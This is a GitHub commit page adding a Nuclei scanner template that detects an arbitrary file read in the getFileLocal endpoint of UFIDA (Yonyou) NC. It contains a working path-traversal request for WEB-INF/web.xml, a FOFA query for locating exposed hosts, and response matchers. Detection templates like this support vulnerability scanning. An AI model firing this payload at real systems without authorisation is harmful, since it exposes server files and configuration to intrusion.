Merge pull request #9172 from projectdiscovery/yonyou-ufida-nc-lfi

Create yonyou-ufida-nc-lfi.yaml
patch-1
pussycat0x 2024-02-21 18:26:21 +05:30 committed by GitHub
commit 192d7cf2fc
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 33 additions and 0 deletions

View File

@ -0,0 +1,33 @@
id: yonyou-ufida-nc-lfi
info:
name: UFIDA NC Portal - Arbitrary File Read
author: DhiyaneshDk
severity: high
description: |
There is any file reading in the getFileLocal interface of UFIDA Mobile System Management.
reference:
- https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8B%E7%A7%BB%E5%8A%A8%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86getFileLocal%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.md
metadata:
verified: true
max-request: 1
fofa-query: app="用友-移动系统管理"
tags: yonyou,ufida,lfi
http:
- method: GET
path:
- "{{BaseURL}}/portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "nc.bs.framework.server.WebApplicationStartupHook"
- "<web-app"
condition: and
- type: status
status:
- 200